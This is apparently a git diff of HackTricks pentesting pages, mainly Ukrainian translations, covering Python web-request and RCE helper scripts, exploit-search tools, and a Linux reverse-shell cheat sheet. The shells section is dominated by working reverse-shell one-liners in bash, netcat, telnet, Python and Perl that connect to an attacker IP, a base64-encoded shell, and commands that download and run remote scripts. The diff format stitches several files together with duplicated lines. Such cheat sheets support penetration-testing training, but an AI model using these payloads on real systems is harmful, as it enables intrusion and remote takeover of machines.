Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Підтримайте HackTricks</summary>
Інші способи підтримки HackTricks:
* Якщо ви хочете побачити свою **компанію в рекламі на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**.
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Використовуйте [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) для легкої побудови та **автоматизації робочих процесів** за допомогою найбільш **продвинутих** інструментів спільноти у світі.\
Використовуйте [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) для легкого створення та **автоматизації робочих процесів**, підтримуваних **найсучаснішими** інструментами спільноти.\
Отримайте доступ сьогодні:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -39,24 +40,25 @@ is fixed running
pip3 install wheel
inside the virtual environment
```
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Використовуйте [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) для легкої побудови та **автоматизації робочих процесів**, що працюють на найбільш **продвинутих** інструментах спільноти у світі.\
Використовуйте [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) для легкого створення та **автоматизації робочих процесів**, підтримуваних **найсучаснішими** інструментами спільноти.\
Отримайте доступ сьогодні:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Підтримайте HackTricks</summary>
Інші способи підтримки HackTricks:
* Якщо ви хочете побачити свою **компанію рекламовану в HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **та** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**.
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
</details>
{% endhint %}

View file

@ -1,28 +1,29 @@
# Веб-запити
# Web Requests
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Підтримайте HackTricks</summary>
Інші способи підтримки HackTricks:
* Якщо ви хочете побачити **рекламу вашої компанії на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**.
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Використовуйте [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) для легкої побудови та **автоматизації робочих процесів** за допомогою найбільш **продвинутих** інструментів спільноти у світі.\
Використовуйте [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) для легкого створення та **автоматизації робочих процесів**, підтримуваних **найсучаснішими** інструментами спільноти.\
Отримайте доступ сьогодні:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Запити Python
## Python Requests
```python
import requests
@ -90,7 +91,7 @@ return resp.json()
def get_random_string(guid, path):
return ''.join(random.choice(string.ascii_letters) for i in range(10))
```
## Python-команда для використання вразливості на віддалене виконання коду
## Python cmd для експлуатації RCE
```python
import requests
import re
@ -117,24 +118,25 @@ return 1
term = Terminal()
term.cmdloop()
```
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Використовуйте [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), щоб легко створювати та **автоматизувати робочі процеси** за допомогою найбільш **продвинутих** інструментів спільноти у світі.\
Використовуйте [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), щоб легко створювати та **автоматизувати робочі процеси**, які підтримуються **найсучаснішими** інструментами спільноти.\
Отримайте доступ сьогодні:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчіть хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Підтримайте HackTricks</summary>
Інші способи підтримки HackTricks:
* Якщо ви хочете побачити свою **компанію рекламовану на HackTricks** або **завантажити HackTricks у PDF-форматі**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **та** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**.
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
</details>
{% endhint %}

View file

@ -1,36 +1,37 @@
# Пошук вразливостей
# Search Exploits
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Інші способи підтримки HackTricks:
* Якщо ви хочете побачити свою **компанію в рекламі на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub.**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Використовуйте [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) для легкої побудови та **автоматизації робочих процесів** за допомогою найбільш **продвинутих інструментів спільноти** у світі.\
Отримайте доступ сьогодні:
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=search-exploits) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=search-exploits" %}
### Браузер
### Browser
Завжди шукайте в "google" або інших: **\<service\_name> \[version] exploit**
Always search in "google" or others: **\<service\_name> \[version] exploit**
Також спробуйте **пошук вразливостей shodan** на [https://exploits.shodan.io/](https://exploits.shodan.io).
You should also try the **shodan** **exploit search** from [https://exploits.shodan.io/](https://exploits.shodan.io).
### Searchsploit
Корисно шукати вразливості для сервісів в **exploitdb з консолі.**
Корисно для пошуку експлойтів для сервісів у **exploitdb з консолі.**
```bash
#Searchsploit tricks
searchsploit "linux Kernel" #Example
@ -42,7 +43,7 @@ searchsploit --nmap file.xml #Search vulns inside an nmap xml result
```
### Pompem
[https://github.com/rfunix/Pompem](https://github.com/rfunix/Pompem) - ще один інструмент для пошуку вразливостей
[https://github.com/rfunix/Pompem](https://github.com/rfunix/Pompem) - це ще один інструмент для пошуку експлойтів
### MSF-Search
```bash
@ -50,7 +51,7 @@ msf> search platform:windows port:135 target:XP type:exploit
```
### PacketStorm
Якщо нічого не знайдено, спробуйте шукати використану технологію на [https://packetstormsecurity.com/](https://packetstormsecurity.com)
Якщо нічого не знайдено, спробуйте знайти використовувану технологію на [https://packetstormsecurity.com/](https://packetstormsecurity.com)
### Vulners
@ -58,26 +59,27 @@ msf> search platform:windows port:135 target:XP type:exploit
### Sploitus
Це шукає вразливості в інших базах даних: [https://sploitus.com/](https://sploitus.com)
Це шукає експлойти в інших базах даних: [https://sploitus.com/](https://sploitus.com)
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Використовуйте [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) для легкої побудови та **автоматизації робочих процесів** за допомогою найбільш **продвинутих** інструментів спільноти у світі.\
Використовуйте [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=search-exploits), щоб легко створювати та **автоматизувати робочі процеси**, підтримувані **найсучаснішими** інструментами спільноти.\
Отримайте доступ сьогодні:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=search-exploits" %}
{% hint style="success" %}
Вчіться та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вчіться та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Підтримати HackTricks</summary>
Інші способи підтримати HackTricks:
* Якщо ви хочете побачити свою **компанію рекламовану в HackTricks** або **завантажити HackTricks у PDF** Перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github репозиторіїв.
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
</details>
{% endhint %}

View file

@ -1,20 +1,21 @@
# Оболонки - Linux
# Shells - Linux
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Підтримайте HackTricks</summary>
Інші способи підтримки HackTricks:
* Якщо ви хочете побачити вашу **компанію в рекламі на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**.
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
</details>
{% endhint %}
**Група з безпеки Try Hard**
**Спробуйте Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
@ -22,11 +23,11 @@
***
**Якщо у вас є питання щодо будь-яких з цих оболонок, ви можете перевірити їх за допомогою** [**https://explainshell.com/**](https://explainshell.com)
**Якщо у вас є питання щодо будь-яких з цих оболонок, ви можете перевірити їх на** [**https://explainshell.com/**](https://explainshell.com)
## Повний TTY
## Full TTY
**Після того, як ви отримаєте зворотню оболонку**[ **прочитайте цю сторінку, щоб отримати повний TTY**](full-ttys.md)**.**
**Якщо ви отримали реверсну оболонку**[ **прочитайте цю сторінку, щоб отримати повний TTY**](full-ttys.md)**.**
## Bash | sh
```bash
@ -41,9 +42,9 @@ exec 5<>/dev/tcp/<ATTACKER-IP>/<PORT>; while read line 0<&5; do $line 2>&5 >&5;
#after getting the previous shell to get the output to execute
exec >&0
```
Не забудьте перевірити інші оболонки: sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh та bash.
Не забудьте перевірити з іншими оболонками: sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh та bash.
### Безпечна оболонка з символами
### Символічно безпечна оболонка
```bash
#If you need a more stable connection do:
bash -c 'bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1'
@ -52,26 +53,26 @@ bash -c 'bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1'
#B64 encode the shell like: echo "bash -c 'bash -i >& /dev/tcp/10.8.4.185/4444 0>&1'" | base64 -w0
echo bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMScK | base64 -d | bash 2>/dev/null
```
#### Пояснення Shell
#### Shell explanation
1. **`bash -i`**: Ця частина команди запускає інтерактивний (`-i`) оболонку Bash.
2. **`>&`**: Ця частина команди є скороченою нотацією для **перенаправлення як стандартного виводу** (`stdout`) так і **стандартної помилки** (`stderr`) до **того ж призначення**.
3. **`/dev/tcp/<ATTACKER-IP>/<PORT>`**: Це спеціальний файл, який **представляє з'єднання TCP з вказаною IP-адресою та портом**.
* **Перенаправляючи потік виводу та потік помилок до цього файлу**, команда ефективно відправляє вивід інтерактивної оболонки на машину зловмисника.
4. **`0>&1`**: Ця частина команди **перенаправляє стандартний ввід (`stdin`) до того ж призначення, що й стандартний вивід (`stdout`)**.
1. **`bash -i`**: Ця частина команди запускає інтерактивну (`-i`) оболонку Bash.
2. **`>&`**: Ця частина команди є скороченою нотацією для **перенаправлення як стандартного виходу** (`stdout`), так і **стандартної помилки** (`stderr`) до **одного і того ж місця призначення**.
3. **`/dev/tcp/<ATTACKER-IP>/<PORT>`**: Це спеціальний файл, який **представляє TCP-з'єднання з вказаною IP-адресою та портом**.
* Перенаправляючи вихідні та помилкові потоки до цього файлу, команда ефективно надсилає вихід інтерактивної сесії оболонки на машину атакуючого.
4. **`0>&1`**: Ця частина команди **перенаправляє стандартний вхід (`stdin`) до того ж місця призначення, що й стандартний вихід (`stdout`)**.
### Створити у файлі та виконати
### Create in file and execute
```bash
echo -e '#!/bin/bash\nbash -i >& /dev/tcp/1<ATTACKER-IP>/<PORT> 0>&1' > /tmp/sh.sh; bash /tmp/sh.sh;
wget http://<IP attacker>/shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.sh
```
## Прямий Shell
## Forward Shell
При роботі з уразливістю **Remote Code Execution (RCE)** в веб-додатку на основі Linux може бути ускладнено отримання зворотного шелу через захисні мережеві засоби, такі як правила iptables або складні механізми фільтрації пакетів. У таких обмежених середовищах альтернативним підходом є створення PTY (псевдотерміналу) шелу для ефективнішої взаємодії з компромітованою системою.
Коли ви маєте справу з вразливістю **Remote Code Execution (RCE)** в Linux-базованому веб-додатку, досягнення реверс-шелу може бути ускладнене мережевими захистами, такими як правила iptables або складні механізми фільтрації пакетів. У таких обмежених середовищах альтернативний підхід полягає в створенні PTY (Pseudo Terminal) шелу для більш ефективної взаємодії з скомпрометованою системою.
Рекомендований інструмент для цієї мети - [toboggan](https://github.com/n3rada/toboggan.git), який спрощує взаємодію з цільовим середовищем.
Для ефективного використання toboggan створіть модуль Python, спеціально підганятий під контекст RCE вашої цільової системи. Наприклад, модуль з назвою `nix.py` може бути структурований наступним чином:
Щоб ефективно використовувати toboggan, створіть модуль Python, адаптований до контексту RCE вашої цільової системи. Наприклад, модуль з назвою `nix.py` може бути структурований наступним чином:
```python3
import jwt
import httpx
@ -95,22 +96,21 @@ response.raise_for_status()
return response.text
```
І після цього ви можете запустити:
А потім ви можете виконати:
```shell
toboggan -m nix.py -i
```
Для безпосереднього використання інтерактивної оболонки. Ви можете додати `-b` для інтеграції з Burpsuite та видалити `-i` для більш простого обгортання rce.
Щоб безпосередньо використовувати інтерактивну оболонку. Ви можете додати `-b` для інтеграції з Burpsuite і видалити `-i` для більш базового обгортки rce.
Ще одна можливість полягає в використанні реалізації прямої оболонки `IppSec` [**https://github.com/IppSec/forward-shell**](https://github.com/IppSec/forward-shell).
Ще одна можливість полягає у використанні реалізації форвардної оболонки `IppSec` [**https://github.com/IppSec/forward-shell**](https://github.com/IppSec/forward-shell).
Вам просто потрібно змінити:
* URL вразливого хоста
* Префікс та суфікс вашого навантаження (якщо є)
* Спосіб надсилання навантаження (заголовки? дані? додаткова інформація?)
* Префікс і суфікс вашого payload (якщо є)
* Спосіб відправки payload (заголовки? дані? додаткова інформація?)
Після цього ви можете просто **надсилати команди** або навіть **використовувати команду `upgrade`** для отримання повної PTY (зауважте, що канали читаються та записуються з приблизним затримкою 1,3 с).
Тоді ви можете просто **надсилати команди** або навіть **використовувати команду `upgrade`** для отримання повного PTY (зауважте, що канали читаються і записуються з приблизною затримкою 1,3 с).
## Netcat
```bash
@ -127,21 +127,19 @@ rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0</tmp/bkpipe | nc <ATTACKER-IP> <
bash -c "$(curl -fsSL gsocket.io/x)"
```
## Telnet
Telnet - це простий протокол з'єднання, який можна використовувати для віддаленого керування пристроями через мережу.
```bash
telnet <ATTACKER-IP> <PORT> | /bin/sh #Blind
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet <ATTACKER-IP> <PORT> >/tmp/f
telnet <ATTACKER-IP> <PORT> | /bin/bash | telnet <ATTACKER-IP> <PORT>
rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0</tmp/bkpipe | telnet <ATTACKER-IP> <PORT> 1>/tmp/bkpipe
```
## Хто
## Whois
**Атакувальник**
**Атакуючий**
```bash
while true; do nc -l <port>; done
```
Щоб відправити команду, запишіть її, натисніть Enter і натисніть CTRL+D (щоб зупинити STDIN)
Щоб надіслати команду, напишіть її, натисніть Enter і натисніть CTRL+D (щоб зупинити STDIN)
**Жертва**
```bash
@ -156,13 +154,11 @@ python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOC
python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4343,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");'
```
## Perl
Perl - це високорівнева, інтерпретована, динамічна мова програмування.
```bash
perl -e 'use Socket;$i="<ATTACKER-IP>";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
